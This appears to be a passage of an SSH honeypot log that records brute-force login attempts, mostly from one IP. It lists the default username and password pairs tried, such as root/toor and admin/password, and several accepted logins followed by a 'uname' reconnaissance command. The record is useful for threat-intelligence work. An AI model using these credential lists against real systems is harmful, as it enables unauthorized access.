  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "teste",
      "pass": "teste"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:24:22.251404 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: fivem

Record ID: 5d177b4ca26e

Client Version: SSH-2.0-Go

Engagement Duration: 2.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "5d177b4ca26e",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:24:22.251404Z",
  "end_time": "2026-07-27T13:24:24.864574Z",
  "duration": "2.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "fivem",
      "pass": "fivem"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:24:16.645884 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gitlab

Record ID: 2ba13aafacf4

Client Version: SSH-2.0-Go

Engagement Duration: 2.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2ba13aafacf4",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:24:16.645884Z",
  "end_time": "2026-07-27T13:24:19.420020Z",
  "duration": "2.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "gitlab",
      "pass": "git"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:24:10.819362 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: private

Record ID: b6a4ea59179a

Client Version: SSH-2.0-Go

Engagement Duration: 2.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b6a4ea59179a",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:24:10.819362Z",
  "end_time": "2026-07-27T13:24:13.297540Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "private",
      "pass": "private"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:24:04.122595 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: odoo18

Record ID: 4f969a2fcb4a

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4f969a2fcb4a",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:24:04.122595Z",
  "end_time": "2026-07-27T13:24:06.332181Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "odoo18",
      "pass": "odoo"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:23:57.478457 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dolphinscheduler

Record ID: a81a2d7ca29d

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a81a2d7ca29d",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:23:57.478457Z",
  "end_time": "2026-07-27T13:23:59.814935Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "dolphinscheduler",
      "pass": "dolphinscheduler"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:23:51.643158 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: elastic

Record ID: 551bcb8e8dab

Client Version: SSH-2.0-Go

Engagement Duration: 3.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "551bcb8e8dab",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:23:51.643158Z",
  "end_time": "2026-07-27T13:23:54.677530Z",
  "duration": "3.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "elastic",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:23:46.197712 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: fivem

Record ID: 9614051c421a

Client Version: SSH-2.0-Go

Engagement Duration: 2.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "9614051c421a",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:23:46.197712Z",
  "end_time": "2026-07-27T13:23:48.709130Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "fivem",
      "pass": "password"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:23:40.499370 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: admin / password

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: bf3b1b9bec8a

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "bf3b1b9bec8a",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:23:40.499370Z",
  "end_time": "2026-07-27T13:23:42.853455Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "password"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:23:34.240915 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / P@ssw0rd2026

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: a82eed7729a5

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a82eed7729a5",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:23:34.240915Z",
  "end_time": "2026-07-27T13:23:36.000903Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "P@ssw0rd2026"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:23:27.061733 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: claude

Record ID: 98fa8c4ea5d9

Client Version: SSH-2.0-Go

Engagement Duration: 2.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "98fa8c4ea5d9",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:23:27.061733Z",
  "end_time": "2026-07-27T13:23:29.518040Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "claude",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:23:20.344083 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / qwe123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 40b11e6841ba

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "40b11e6841ba",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:23:20.344083Z",
  "end_time": "2026-07-27T13:23:22.059949Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qwe123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:23:14.788048 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / root12345

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e038d482dbf6

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e038d482dbf6",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:23:14.788048Z",
  "end_time": "2026-07-27T13:23:16.507605Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root12345"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:23:09.097271 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: node / node

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e884c7f9d579

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e884c7f9d579",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:23:09.097271Z",
  "end_time": "2026-07-27T13:23:10.472504Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "node",
    "pass": "node"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:23:03.423843 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: claude

Record ID: 18b60d545c60

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "18b60d545c60",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:23:03.423843Z",
  "end_time": "2026-07-27T13:23:05.592717Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "claude",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:22:57.779222 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kingbase

Record ID: 2a2f5d5d594b

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2a2f5d5d594b",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:22:57.779222Z",
  "end_time": "2026-07-27T13:22:59.700663Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "kingbase",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:22:51.615166 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / redhat

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 9093d06bcc2b

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "9093d06bcc2b",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:22:51.615166Z",
  "end_time": "2026-07-27T13:22:52.802229Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "redhat"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:22:45.840156 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: username

Record ID: a7142b944565

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a7142b944565",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:22:45.840156Z",
  "end_time": "2026-07-27T13:22:47.972815Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "username",
      "pass": "password"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:22:40.705472 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: system

Record ID: 66b630c68801

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "66b630c68801",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:22:40.705472Z",
  "end_time": "2026-07-27T13:22:42.864887Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "system",
      "pass": "system"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:22:34.680770 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user2

Record ID: 72ec1c3a2a37

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "72ec1c3a2a37",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:22:34.680770Z",
  "end_time": "2026-07-27T13:22:36.640086Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "user2",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

223.123.124.70

2026-07-27 13:22:33.988910 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ftpuser / 3245gs5662d34

Record ID: 6613faf183c3

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6613faf183c3",
  "src_ip": "223.123.124.70",
  "start_time": "2026-07-27T13:22:33.988910Z",
  "end_time": "2026-07-27T13:22:35.721740Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ftpuser",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

223.123.124.70

2026-07-27 13:22:31.024673 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: d91d8f135f2a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d91d8f135f2a",
  "src_ip": "223.123.124.70",
  "start_time": "2026-07-27T13:22:31.024673Z",
  "end_time": "2026-07-27T13:22:33.697468Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:22:28.619876 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / toor

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: a06729384776

Client Version: SSH-2.0-Go

Engagement Duration: 2.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a06729384776",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:22:28.619876Z",
  "end_time": "2026-07-27T13:22:31.092748Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "toor"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}